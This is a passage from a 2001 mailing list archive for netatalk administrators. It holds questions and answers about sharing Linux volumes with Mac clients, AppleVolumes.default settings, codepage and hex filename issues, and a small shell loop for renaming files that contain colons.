X-OriginalArrivalTime: 11 Jun 2001 22:37:33.0309 (UTC) FILETIME=[1B141AD0:01C0F2C7]

subscribe twg4461@hotmail.com
_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com


From netatalk.administrators-errors@umich.edu  Tue Jun 12 09:35:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA01391
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 12 Jun 2001 09:35:46 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA21339
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 12 Jun 2001 09:35:46 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA21329
	for netatalk.administrators-members@umich.edu; Tue, 12 Jun 2001 09:35:45 -0400 (EDT)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA21306
	for <netatalk-admins@umich.edu>; Tue, 12 Jun 2001 09:35:44 -0400 (EDT)
Received: from univrel.pr.uconn.edu (test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.11.2/linuxconf) with ESMTP id f5CDZMP28145;
	Tue, 12 Jun 2001 09:35:37 -0400
Message-ID: <3B261A80.4010905@univrel.pr.uconn.edu>
Date: Tue, 12 Jun 2001 09:34:56 -0400
From: jeff <jeff@univrel.pr.uconn.edu>
User-Agent: Mozilla/5.0 (X11; U; Linux 2.2.18 i686; en-US; rv:0.9.1) Gecko/20010607
X-Accept-Language: en-us
MIME-Version: 1.0
To: Buzz <buzinc@engraveltd.co.uk>
CC: netatalk-admins@umich.edu
Subject: Re: Netatalk
References: <E159m5Y-0004O5-00@usw-sf-web1.sourceforge.net>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Buzz wrote:

> Dear Jeffrey. I have downloaded netatalk 1.5 386.rpm from 
> the source forge site. I am completely new to Linux, and 
> not at all hot on the prompt. I wanted the .rpm so I could 
> load the programe in gnome rather than the prompt.What I am 
> trying to do is create a server on a intel based machine 
> that will support macs as well as pc. My problem. I have 
> installed netatalk, which loads up no probs. In the chooser 
> on the mac I can see my Linux server, but when I select it, 
> I see no drives. How do you set up the server to share, so 
> that macs will see the drives. I have some manuals, but 
> they only cover the basics, not fileshareing! Any help 
> appreciated.


Are you using 1.5pre6? There are other, earlier versions

available, but most of the 1.5pre series were broken in some

way.

Go into the netatalk configuration directory (which should be /etc/atalk 
on your machine) and look at the AppleVolumes.default file. This 
contains the information for volumes that are shared. It is heavily 
commented, and there is also a man page which is installed with the 
package, accessable via "man AppleVolumes.default".

Good luck,
Jeff





From netatalk.administrators-errors@umich.edu  Tue Jun 12 11:30:42 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA06140
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 12 Jun 2001 11:30:42 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA02195
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 12 Jun 2001 11:30:32 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA02184
	for netatalk.administrators-members@umich.edu; Tue, 12 Jun 2001 11:30:31 -0400 (EDT)
Received: from mail.mediamatic.nl (mark.mediamatic.nl [194.109.8.128] (may be forged))
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA02160
	for <netatalk-admins@umich.edu>; Tue, 12 Jun 2001 11:30:30 -0400 (EDT)
Received: from [194.109.8.191] (HELO mediamatic.nl)
  by mail.mediamatic.nl (CommuniGate Pro SMTP 3.4.3)
  with ESMTP id 93695; Tue, 12 Jun 2001 17:12:13 +0200
Sender: ralph@mediamatic.nl
Message-ID: <3B26360B.4288DDD7@mediamatic.nl>
Date: Tue, 12 Jun 2001 17:32:27 +0200
From: Ralph de Rijke <ralph@mediamatic.nl>
Organization: Mediamatic IP
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17-21mdk i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: TheFindByContentFolder, TheVolumeSettingsFolder, visibility
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi all,


Two of my linux boxes provide netatalk exports, both provided by  
netatalk-1.4b2+asun2.1.3-6.i386.rpm. One runs Red Hat (kernel 2.2.12-20)
and the other Mandrake (kernel 2.2.17-21mdksecure). 

In the RH-exported directory, the files TheFindByContentFolder,
TheVolumeSettingsFolder and Network Trash Folder are all invisible to
Mac clients. 

In the Mandrake-exported directory, the Network Trash Folder file is
invisible but the other two are visible. Removing them manually works
for the duration of the session, but when the connection is broken and
re-established they reappear.

The file ownerships and permissions are identical.

I don't wants clients to have to see these files. Could somebody explain
what they do, and what anomaly might explain my situation? Thanks!

Ralph de Rijke


-- 
Ralph de Rijke, Linux System Administrator
Mediamatic IP, Prins Hendrikkade 192, Amsterdam
Postbus 17490, 1001 JL Amsterdam / www.mediamatic.nl

"The world is now too dangerous for anything less than Utopia." 
R. Buckminster Fuller

From netatalk.administrators-errors@umich.edu  Tue Jun 12 11:40:55 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA06622
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 12 Jun 2001 11:40:55 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA11959
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 12 Jun 2001 11:40:46 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA11947
	for netatalk.administrators-members@umich.edu; Tue, 12 Jun 2001 11:40:45 -0400 (EDT)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA11914
	for <netatalk-admins@umich.edu>; Tue, 12 Jun 2001 11:40:44 -0400 (EDT)
Received: from univrel.pr.uconn.edu (test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.11.2/linuxconf) with ESMTP id f5CFeqP29485;
	Tue, 12 Jun 2001 11:40:52 -0400
Message-ID: <3B2637EA.2000804@univrel.pr.uconn.edu>
Date: Tue, 12 Jun 2001 11:40:26 -0400
From: jeff <jeff@univrel.pr.uconn.edu>
User-Agent: Mozilla/5.0 (X11; U; Linux 2.2.18 i686; en-US; rv:0.9.1) Gecko/20010607
X-Accept-Language: en-us
MIME-Version: 1.0
To: buzinc <buzinc@engraveltd.co.uk>
CC: netatalk-admins@umich.edu
Subject: Re: Netatalk
References: <B74BF38B.A96%buzinc@engraveltd.co.uk>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

buzinc wrote:

> Dear Jeff
> Thanks for your reply. Bit puzzled not being computer literate, what am I
> looking for in the Applevolumes.default file. Also what is the "man" page
> with "applevolumes.default". Sorry, but being used to MacOS and Windows NT
> you dont need the manual. The version of netatalk is 1.5pre6. Below is my
> applevolumes.default file. At a guess, it already tells you stuff you
> already know. I need to make this server stable and easy to setup, hence
> using Windows NT, but I object paying Microsoft obscene amounts of cash.


Generally, the power of open-source software isn't the price, but more 
the extensive support network and fast turnarounds.

Much documentation exists in one form or another for netatalk. If you 
are not yet familiar with online documentation, please familiarize 
yourself with man pages, and such things, as it will make much 
configuration and setup in the future easier on you (and will save you a 
lot of money in books).

The quick explaination is that man pages are "manual" pages, which are 
viewed using "man". So you type "man" then the program or config file 
you want help on, and it will give you a plethora of information in most 
cases.

The AppleVolumes.default file is quite self-explainatory, and follows 
the format of the majority of many Linux configuration files. Each line 
is a separate share, in the format specified in the page. Please read 
the comments therein, and try to follow that format. If you have any 
questions on what the options do, please either ask me, or post a 
question to the netatalk admins list (netatalk-admins@umich.edu) where 
someone will be happy to assist you.

Thanks,
Jeff

(As an aside, you *do* need the manual to properly use many of the 
low-level features in NT. Its online help is simply a graphical version 
of "man".)


From netatalk.administrators-errors@umich.edu  Wed Jun 13 04:07:32 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA07349
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 13 Jun 2001 04:07:32 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA29520
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 13 Jun 2001 04:07:32 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA29505
	for netatalk.administrators-members@umich.edu; Wed, 13 Jun 2001 04:07:31 -0400 (EDT)
Received: from mailout01.sul.t-online.de (mailout01.sul.t-online.com [194.25.134.80])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA29477
	for <netatalk-admins@umich.edu>; Wed, 13 Jun 2001 04:07:30 -0400 (EDT)
Received: from fwd00.sul.t-online.de 
	by mailout01.sul.t-online.de with smtp 
	id 15A5gU-0002Nd-0B; Wed, 13 Jun 2001 10:07:26 +0200
Received: from [192.168.0.33] (07031811601-0001@[217.2.93.87]) by fmrl00.sul.t-online.com
	with esmtp id 15A5gL-1ZqezgC; Wed, 13 Jun 2001 10:07:17 +0200
Mime-Version: 1.0
Message-Id: <a05100301b74cce033895@[192.168.0.33]>
Date: Wed, 13 Jun 2001 10:06:32 +0200
To: netatalk-admins@umich.edu
From: =?iso-8859-1?Q?J=FCrgen?= Weltzer <weltzer@werbeagentur-weltzer.de>
Subject: no connection to server via appletalk
Content-Type: text/plain; charset="iso-8859-1" ; format="flowed"
X-Sender: 07031811601-0001@t-dialin.net
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id EAA07349

Hi,

most of our macs are connected via tcp/ip. But one mac makes TCP/IP 
Connections with Leonardo ISDN-Card, so that he must connect to the 
server via AppleTalk.

In the afpd.conf -transall ist aktivated, I see the server in the 
chooser - but after writing username and password I get the message 
"Can't connect to server. Try it later."

Any ideas?
(1.5pre6 installed from .rpm)

From netatalk.administrators-errors@umich.edu  Wed Jun 13 10:50:34 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA19558
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 13 Jun 2001 10:50:34 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA14764
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 13 Jun 2001 10:50:34 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA14739
	for netatalk.administrators-members@umich.edu; Wed, 13 Jun 2001 10:50:33 -0400 (EDT)
Received: from host9.digitalpulp.com (host9.digitalpulp.com [209.176.7.9])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA14711
	for <netatalk-admins@umich.edu>; Wed, 13 Jun 2001 10:50:32 -0400 (EDT)
Received: from localhost (charwell@localhost)
	by host9.digitalpulp.com (8.11.0/8.11.0) with ESMTP id f5DEoTC16128
	for <netatalk-admins@umich.edu>; Wed, 13 Jun 2001 10:50:29 -0400
Date: Wed, 13 Jun 2001 10:50:29 -0400 (EDT)
From: Chris Harwell <charwell@digitalpulp.com>
To: <netatalk-admins@umich.edu>
Subject: anyone have a script to change : to - in file and dir names?
Message-ID: <Pine.LNX.4.33.0106131048590.14730-100000@host9.digitalpulp.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

hi,

does anyone have a script which deals correctly with spaces etc in names,
works on the linux/unix side and changes colons in file names to a hyphen?
pesky things got there before i realized how useful the nohex option is.

thanks,

-- 
chris
charwell@digitalpulp.com



From netatalk.administrators-errors@umich.edu  Wed Jun 13 11:08:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA20254
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 13 Jun 2001 11:08:21 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA09781
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 13 Jun 2001 11:08:10 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA09756
	for netatalk.administrators-members@umich.edu; Wed, 13 Jun 2001 11:08:09 -0400 (EDT)
Received: from mail.teleologic.net (17eos170.eosinc.com [12.39.14.170])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA09720
	for <netatalk-admins@umich.edu>; Wed, 13 Jun 2001 11:08:08 -0400 (EDT)
Received: by mail.teleologic.net (Postfix, from userid 2000)
	id 50D42389E0; Wed, 13 Jun 2001 10:08:18 -0500 (CDT)
Date: Wed, 13 Jun 2001 10:08:18 -0500
From: Danny Sauer <dsauer@teleologic.net>
To: netatalk-admins@umich.edu
Cc: Chris Harwell <charwell@digitalpulp.com>
Subject: Re: anyone have a script to change : to - in file and dir names?
Message-ID: <20010613100818.F11591@newwww.teleologic.net>
References: <Pine.LNX.4.33.0106131048590.14730-100000@host9.digitalpulp.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.12i
In-Reply-To: <Pine.LNX.4.33.0106131048590.14730-100000@host9.digitalpulp.com>; from charwell@digitalpulp.com on Wed, Jun 13, 2001 at 10:50:29AM -0400
X-Operating-System: Linux 2.4.0-4GB i686
X-Dont-Spam-Me: I might come after you

Chris wrote regarding 'anyone have a script to change : to - in file and dir names?' on Wed, Jun 13 at 09:59:
> hi,
> 
> does anyone have a script which deals correctly with spaces etc in names,
> works on the linux/unix side and changes colons in file names to a hyphen?
> pesky things got there before i realized how useful the nohex option is.

for F in `find /path/to/files -name '*:*'`; do mv "$F" "`echo $F | sed 's/:/-/g'`"; done

I'm pretty sure that'll work if you're using a bourne shell (bash, for
example).  Maybe put an echo in before the mv the first time you run
it, so you can see if the command being executed looks right... :)  I
sure haven't tested it.

--Danny

From netatalk.administrators-errors@umich.edu  Wed Jun 13 11:25:40 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA21053
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 13 Jun 2001 11:25:40 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA08027
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 13 Jun 2001 11:25:29 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA07984
	for netatalk.administrators-members@umich.edu; Wed, 13 Jun 2001 11:25:28 -0400 (EDT)
Received: from firstclass.ducommun.ch (firstclass.ducommun.ch [194.209.63.202])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA07938
	for <netatalk-admins@umich.edu>; Wed, 13 Jun 2001 11:25:26 -0400 (EDT)
Message-id: <fc.000f5b790004b337000f5b790004b337.4b40a@ducommun.ch>
Date: Wed, 13 Jun 2001 14:07:24 +0200
Subject: Netatalk and Macintosh names
To: netatalk-admins@umich.edu
From: "Jose Llopis" <jose.llopis@ducommun.ch>
MIME-Version: 1.0
Content-type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit

Hello,

I run netatalk on Suse 7.1, and works well.
Therefor, when Macintosh users use some
legal Mac characters (/ * "...) they have
troubles when recording files,
specialy with the slash character.

Some one can help me ?

Regards,


Jose LLopis
JDucommun informatique
En Vallaire ouest d
1024 Ecublens VD CH
Tel +41 21 695 10 00
Fax +41 21 695 10 01
Jose.llopis@ducommun.ch


From netatalk.administrators-errors@umich.edu  Wed Jun 13 11:30:59 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA21325
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 13 Jun 2001 11:30:58 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA03931
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 13 Jun 2001 11:30:58 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA03907
	for netatalk.administrators-members@umich.edu; Wed, 13 Jun 2001 11:30:58 -0400 (EDT)
Received: from leebert.gsfc.nasa.gov (leebert.gsfc.nasa.gov [128.183.33.38])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA03867
	for <netatalk-admins@umich.edu>; Wed, 13 Jun 2001 11:30:56 -0400 (EDT)
Received: (from lsherida@localhost)
	by leebert.gsfc.nasa.gov (SGI-8.9.3/8.9.3) id LAA32243
	for netatalk-admins@umich.edu; Wed, 13 Jun 2001 11:30:56 -0400 (EDT)
Date: Wed, 13 Jun 2001 11:30:55 -0400
From: Lee Sheridan <lsherida@nccs.gsfc.nasa.gov>
To: netatalk-admins@umich.edu
Subject: Re: anyone have a script to change : to - in file and dir names?
Message-ID: <20010613113055.B9123@leebert.gsfc.nasa.gov>
References: <Pine.LNX.4.33.0106131048590.14730-100000@host9.digitalpulp.com> <20010613100818.F11591@newwww.teleologic.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010613100818.F11591@newwww.teleologic.net>; from dsauer@teleologic.net on Wed, Jun 13, 2001 at 10:08:18AM -0500

On Wed, Jun 13, 2001 at 10:08:18AM -0500, Danny Sauer wrote:

> for F in `find /path/to/files -name '*:*'`; do mv "$F" "`echo $F | sed 's/:/-/g'`"; done

You may want to check out the "--backup" option in GNU mv since you want
to make sure you don't irreversably clobber an existing file.

Or if you're doing it interactively the "-i" option.

-- 
Lee Sheridan                            301.286.5898 voice
NASA / Goddard Space Flight Center      lsherida@nccs.gsfc.nasa.gov
Computer Sciences Corporation           Building 28, Room S241
Code 931
 
"Some people without brains do an awful lot of talking, don't they?"
                                           -- Scarecrow, The Wizard of Oz

From netatalk.administrators-errors@umich.edu  Wed Jun 13 12:23:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA23161
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 13 Jun 2001 12:23:05 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA12149
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 13 Jun 2001 12:22:54 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA12124
	for netatalk.administrators-members@umich.edu; Wed, 13 Jun 2001 12:22:53 -0400 (EDT)
Received: from host9.digitalpulp.com (host14.digitalpulp.com [209.176.7.14])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA12086
	for <netatalk-admins@umich.edu>; Wed, 13 Jun 2001 12:22:52 -0400 (EDT)
Received: from localhost (charwell@localhost)
	by host9.digitalpulp.com (8.11.0/8.11.0) with ESMTP id f5DGN3217714
	for <netatalk-admins@umich.edu>; Wed, 13 Jun 2001 12:23:03 -0400
Date: Wed, 13 Jun 2001 12:23:03 -0400 (EDT)
From: Chris Harwell <charwell@digitalpulp.com>
To: <netatalk-admins@umich.edu>
Subject: codepage/hex faq? was Re: anyone have a script to change : to - in
 file and dir names?
In-Reply-To: <20010613100818.F11591@newwww.teleologic.net>
Message-ID: <Pine.LNX.4.33.0106131157350.14730-100000@host9.digitalpulp.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

> Chris wrote regarding 'anyone have a script to change : to - in file and dir names?' on Wed, Jun 13 at 09:59:
> > does anyone have a script which deals correctly with spaces etc in names,
> > works on the linux/unix side and changes colons in file names to a hyphen?
> > pesky things got there before i realized how useful the nohex option is.
hello,

1) i naively wrote the above question, actually asking for a script to
replace colons, what i really wanted was a script to find special
characters that included colons, like :2e, and :aa and replace them with
something else. though, i'm starting to think that's not such a good idea
anyway.

2)is there a FAQ somewhere that points out issues and and answers common
questions about code-pages and hex-codes - and problems encountered when
changing the code-page and nohex type options in
/etc/atalk/AppleVolumes.default?

if there is i'd really like to read it and find out what code-pages and
hex characters do and are - could someone point me in the right direction to find it?

3) here one for that FAQ:
situation:
a) created a netatalk volume without any of the codepage or nohex options
i.e.  in /etc/atalk/AppleVolumes.default stuck a line like this and restarted server:
/var/ftp/pub/mp3/collection "mp3 collection" allow:@mp3users,@mp3admin rolist:@mp3users

b) files and directories containing colons showed up on server, these colons in most cases
actually correspond to some special character like TM or space...

c) backed up file system over network through netatalk with above options using retrospect

d) changed options based on some email on netatalk-admins list to exclude hex and specified
a character set
i.e. in /etc/atalk/AppleVolumes.default stuck a line like this and restarted server:
/var/ftp/pub/mp3/collection "mp3 collection" allow:@mp3users,@mp3admin rolist:@mp3users codepage:maccode.iso8859-1 options:nohex

e) tried to back-up files and got lots of directory not found type of errors.
- those files or directories had special characters like :aa in their names

f) further examination showed some directories wouldn't display from a Mac.

Q: how to fix?
A: go back to the default codepage and allow hex codes.
codepage            hex
maccode.iso8859-1   no  - didn't work
maccode.iso8859-1   yes  - didn't work
none 		    yes  - worked

I'm assuming if I'd had the character set and nohex specified from the start that i would have had no problems.
Is this correct?

perhaps we could put a note in that AppleVolumes.default file like this:
codepage:filename   -> load filename from nls directory.
			N.B. changing this option may cause files written in the previous character set
			to not appear on the Mac side and might create directory not found errors.

what items should be taken into account in order to make a list of recommended codepage and hex/nohex options?
1) underlying file system, ext2 ....
2) native language
3) other ways file system may be written to a) samba b) ftp c) scp


thanks,

-- 
chris
charwell@digitalpulp.com



From netatalk.administrators-errors@umich.edu  Wed Jun 13 12:26:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA23260
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 13 Jun 2001 12:26:43 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA18267
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 13 Jun 2001 12:26:32 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA18230
	for netatalk.administrators-members@umich.edu; Wed, 13 Jun 2001 12:26:31 -0400 (EDT)
Received: from mail.ihonk.com (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA18147
	for <netatalk-admins@umich.edu>; Wed, 13 Jun 2001 12:26:29 -0400 (EDT)
Received: from [192.168.0.151] (a12 [192.168.0.151])
	by mail.ihonk.com (8.11.0/8.11.0) with ESMTP id f5DGQcY27050
	for <netatalk-admins@umich.edu>; Wed, 13 Jun 2001 09:26:38 -0700
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Wed, 13 Jun 2001 09:26:39 -0700
Subject: Netatalk + DHCP?
From: Steve Freitas <steve@ihonk.com>
To: netatalk-admins <netatalk-admins@umich.edu>
Message-ID: <B74CE24E.50C5%steve@ihonk.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Let's say I want my Netatalk server to grab an IP via DHCP, and it could
change at any time. But /etc/hosts needs to provide the proper IP for a good
lookup for clients. Is the simplest way to do this to write a little script
which auto-generates /etc/hosts and plugs in the current IP?

Steve


From netatalk.administrators-errors@umich.edu  Wed Jun 13 12:47:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA24357
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 13 Jun 2001 12:47:14 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA05735
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 13 Jun 2001 12:47:14 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA05709
	for netatalk.administrators-members@umich.edu; Wed, 13 Jun 2001 12:47:13 -0400 (EDT)
Received: from keam1 (keam1.vcc.bc.ca [142.30.247.21])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id MAA05643
	for <netatalk-admins@umich.edu>; Wed, 13 Jun 2001 12:47:11 -0400 (EDT)
Received: from VCC-Message_Server by keam1
	with Novell_GroupWise; Wed, 13 Jun 2001 09:46:16 -0700
Message-Id: <sb273668.065@keam1>
X-Mailer: Novell GroupWise Internet Agent 5.5.4.1
Date: Wed, 13 Jun 2001 09:46:04 -0700
From: "Bryn Hughes" <bhughes@vcc.bc.ca>
To: <netatalk-admins@umich.edu>
Subject: Netboot?
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id MAA24357

Hi there,

Is anyone aware of a way to use netboot (as in Apple's version of it that usually only works with an OS X server) with a Linux box?  

Bryn

----------------------------------------------
Bryn Hughes
Macintosh Tech Support
Information and Computing Services
Vancouver Community College

email:bhughes@vcc.bc.ca
ph: (604) 443-8702
Urgent: (604) 871-7007

From netatalk.administrators-errors@umich.edu  Wed Jun 13 13:07:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA24976
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 13 Jun 2001 13:07:17 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA26008
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 13 Jun 2001 13:07:05 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA25985
	for netatalk.administrators-members@umich.edu; Wed, 13 Jun 2001 13:07:05 -0400 (EDT)
Received: from mathserv.math.ohio-state.edu (mathserv.math.ohio-state.edu [128.146.111.31])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA25951
	for <netatalk-admins@umich.edu>; Wed, 13 Jun 2001 13:07:04 -0400 (EDT)
Received: from math.ohio-state.edu (hooloovoo.math.ohio-state.edu [128.146.111.37])
	by mathserv.math.ohio-state.edu (8.11.2/8.11.2) with ESMTP id f5DH7Ds13622;
	Wed, 13 Jun 2001 13:07:15 -0400
Received: by math.ohio-state.edu (Postfix, from userid 2405)
	id 2E52219DD63; Wed, 13 Jun 2001 13:06:32 -0400 (EDT)
Received: from localhost (localhost [127.0.0.1])
	by math.ohio-state.edu (Postfix) with ESMTP
	id 1F086E6F18; Wed, 13 Jun 2001 13:06:32 -0400 (EDT)
Date: Wed, 13 Jun 2001 13:06:31 -0400 (EDT)
From: Chad Cunningham <ccunning@math.ohio-state.edu>
X-X-Sender:  <ccunning@localhost.localdomain>
To: Bryn Hughes <bhughes@vcc.bc.ca>
